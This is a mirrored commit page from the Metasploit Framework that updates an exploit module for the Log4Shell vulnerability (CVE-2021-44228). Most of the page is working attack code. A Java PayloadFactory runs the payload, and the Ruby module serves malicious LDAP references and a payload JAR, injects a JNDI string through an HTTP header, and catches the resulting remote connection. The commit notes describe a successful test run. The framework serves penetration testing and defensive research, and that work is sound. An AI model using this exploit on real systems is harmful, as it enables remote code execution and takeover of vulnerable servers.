1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-07-18 18:31:41 +02:00

First "working" 2021-44228 exploit module state

Clean up the Java code for PayloadFactory - the `main()` function
is actually not required, the error seen on initial attempts to
compile was some sort of PEBKAC or weird things in classpaths.

Update the module to start the HTTP server before issuing the HTTP
request starting the call chain which eventually executes the Java
PayloadFactory - that chain is quick and races with the service's
startup time to get the JAR containing the Payload and its factory.

Minor misc cleanup.
Give credit where due: we stand on the shoulders of giants.

Testing:
  LDAP request is serviced with response containing our JAR URL and
trigger parameters for the factory to instantiate Payload.class and
call its `main()` function.
  HTTP request is serviced to deliver the JAR.
  Payload handler on MSF-side is tripped with incoming connection.
This commit is contained in:
RageLtMan 2021-12-19 15:57:46 -05:00
parent 4874943e7f
commit 4f07a2fbea
3 changed files with 22 additions and 22 deletions

View File

@ -5,15 +5,9 @@ import javax.naming.*;
public class PayloadFactory implements javax.naming.spi.ObjectFactory {
// Required method override to be a valid Factory
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("Loading via factory...");
// System.out.println("Loading via factory...");
Payload.main(null);
return null;
}
// main method without which the class did not want to compile using javac -cp msf_payload.jar <this file>.java
public static void main(String[] args) {
try { Payload.main(null); } catch (Exception e) {
e.printStackTrace();
}
}
}

View File

@ -15,7 +15,10 @@ class MetasploitModule < Msf::Exploit::Remote
and execute attacker controlled data.
},
'Author' => [
'Michael Schierl', # The know-how, tons of the originating code, all of the Jedi stuff
'Michael Schierl', # All of the Jedi stuff
'juan vazquez', # 2011-3544 code shamelessly stolen for this module
'sinn3r', # 2011-3544 code shamelessly stolen for this module
'Spencer McIntyre', # HTTP scanner module for 2021-44228 and moral support
'RageLtMan <rageltman[at]sempervictus>' # Flippper-fisting of keyboard for some infra
],
'References' => [
@ -92,17 +95,16 @@ class MetasploitModule < Msf::Exploit::Remote
# @return [Array] packed BER sequence
def serialized_payload(msg_id, base_dn, pay_class = "metasploit.PayloadFactory")
if datastore['REMOTE_LOAD']
print_good(resource_url_string)
attrs = [
[ "javaClassName".to_ber, [pay_class.to_ber].to_ber_set ].to_ber_sequence,
[ "javaFactory".to_ber, [pay_class.to_ber].to_ber_set ].to_ber_sequence,
[ "objectClass".to_ber, ["javaNamingReference".to_ber].to_ber_set ].to_ber_sequence,
[ "javaCodebase".to_ber, [resource_url_string.to_ber].to_ber_set ].to_ber_sequence,
[ "javaClassName".to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
[ "javaFactory".to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
[ "objectClass".to_ber, [ "javaNamingReference".to_ber ].to_ber_set ].to_ber_sequence,
[ "javaCodebase".to_ber, [ resource_url_string.to_ber ].to_ber_set ].to_ber_sequence,
]
else
attrs = [
[ "javaClassName".to_ber, [pay_class.to_ber].to_ber_set ].to_ber_sequence,
[ "javaSerializedData".to_ber, [byte_array_payload(pay_class).to_ber].to_ber_set ].to_ber_sequence
[ "javaClassName".to_ber, [ pay_class.to_ber ].to_ber_set ].to_ber_sequence,
[ "javaSerializedData".to_ber, [ byte_array_payload(pay_class).to_ber ].to_ber_set ].to_ber_sequence
]
end
appseq = [
@ -149,12 +151,14 @@ class MetasploitModule < Msf::Exploit::Remote
end
resp
end
## HTTP service callbacks
#
# Handle HTTP requets and responses
#
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
vprint_good("Payload requested by #{cli.peerhost} using #{agent}")
pay = regenerate_payload(cli)
jar = inject_jar_payload_factory(pay.encoded_jar)
send_response(cli, 200, 'OK', jar)
@ -169,17 +173,19 @@ class MetasploitModule < Msf::Exploit::Remote
res.body = html
cli.send_response(res)
end
def exploit
# LDAP service
start_service
# HTTP service
start_http_service
# HTTP request initiator
send_request_raw(
'uri' => normalize_uri(target_uri),
'method' => datastore['HTTP_METHOD'],
'headers' => { datastore['HTTP_HEADER'] => jndi_string }
)
# HTTP service
start_http_service
handler
ensure
cleanup
end
@ -206,6 +212,10 @@ private
def resource_uri
path = datastore['URIPATH'] || rand_text_alphanumeric(8+rand(8)) + '.jar'
path = '/' + path if path !~ /^\//
if not path =~ /\.jar$/
print_status("Appending .jar extension to #{path} as we don't yet serve classpaths")
path = path + '.jar'
end
datastore['URIPATH'] = path
return path
end
@ -249,16 +259,12 @@ private
'Path' => resource_uri
}.update(opts['Uri'] || {})
proto = (datastore["SSL"] ? "https" : "http")
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
print_status("Serving Java code on: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
if (opts['ServerHost'] == '0.0.0.0')
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
end
# Add path to resource
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)
# As long as we have the http_service object, we will keep the ftp server alive
while @http_service
select(nil, nil, nil, 1)
end
end
end